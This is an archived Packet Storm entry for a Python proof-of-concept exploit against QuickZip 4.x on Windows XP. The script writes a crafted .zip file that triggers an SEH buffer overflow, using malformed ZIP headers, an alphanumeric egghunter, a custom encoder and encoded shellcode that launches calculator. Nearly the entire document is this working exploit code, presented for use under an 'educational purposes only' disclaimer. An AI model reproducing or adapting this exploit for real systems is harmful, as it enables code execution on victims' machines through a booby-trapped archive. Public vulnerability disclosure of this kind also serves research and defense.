QuickZip 4.x Local Universal Buffer Overflow

2010-03-09T00:00:00
ID PACKETSTORM:87012
Type packetstorm
Reporter corelanc0d3r
Modified 2010-03-09T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
#  
# ###############################################################################  
# Exploit Title : QuickZip 4.x (.zip) 0day Local Universal Buffer Overflow PoC Exploit  
# Date : 9/3/2010  
# Author : corelanc0d3r & mr_me  
# Bug found by : corelanc0d3r (http://corelan.be:8800/)  
# Software Link : http://www.quickzip.org/downloads.html  
# Version : 4.60  
# OS : Windows  
# Tested on : XP SP3 En  
# Type of vuln : SEH  
# Greetz to : Corelan Security Team  
# http://www.corelan.be:8800/index.php/security/corelan-team-members/  
# ###############################################################################  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
# Do not use this code to do anything illegal !  
#  
# Note : you are not allowed to edit/modify this code.   
# If you do, Corelan cannot be held responsible for any damages this may cause.  
#  
# how does this work?  
# http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/  
  
print "|------------------------------------------------------------------|"  
print "| __ __ |"  
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |"  
print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"  
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |"  
print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |"  
print "| |"  
print "| http://www.corelan.be:8800 |"  
print "| security@corelan.be |"  
print "| |"  
print "|-------------------------------------------------[ EIP Hunters ]--|"  
print "[+] QuickZip 4.x (.zip) 0day Local Universal Buffer Overflow PoC Exploit"  
  
header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")  
  
header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"  
"\x24\x00\x00\x00\x00\x00\x00\x00")  
  
header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"  
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")  
  
# pure ascii egghunter, thanks to skylined  
egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1"  
"9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA");  
  
calc = ("\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"  
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"  
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"  
"\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55"  
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c"  
"\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b"  
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49"  
"\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51"  
"\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50"  
"\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34"  
"\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51"  
"\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31"  
"\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50"  
"\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30"  
"\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c"  
"\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a"  
"\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a"  
"\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43"  
"\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45"  
"\x50\x41\x41");  
  
# custom encoder  
encoder = ("\x25\x4A\x4D\x4E\x55"   
"\x25\x35\x32\x31\x2A"   
"\x2d\x55\x55\x55\x5f"   
"\x2d\x56\x55\x56\x5f"   
"\x2d\x55\x55\x55\x5e"   
"\x50"   
"\x25\x4A\x4D\x4E\x55"   
"\x25\x35\x32\x31\x2A"   
"\x2d\x2b\x6a\x32\x53"   
"\x2d\x2a\x6a\x31\x54"   
"\x2d\x2a\x69\x31\x54"   
"\x50"   
);  
  
print "[+] Building PoC.."  
  
lol = "\x43" * 20  
lol += egghunter   
lol += "\x41" * (223-len(lol))  
lol += "\x61"  
lol += "\x53"  
lol += "\x5c"  
lol += encoder  
lol += "\x41" * (294-len(lol))  
lol += "\x73\xf9\x41\x41"  
lol += "\x5c\x53\x46\x00"  
lol += "W00TW00T"  
lol += calc  
lol += "\x42" * (4064-len(lol))  
lol += ".txt"  
  
exploit = header_1 + lol + header_2 + lol + header_3  
  
mefile = open('cst.zip','w');  
mefile.write(exploit);  
mefile.close()  
print "[+] Exploit complete!"  
`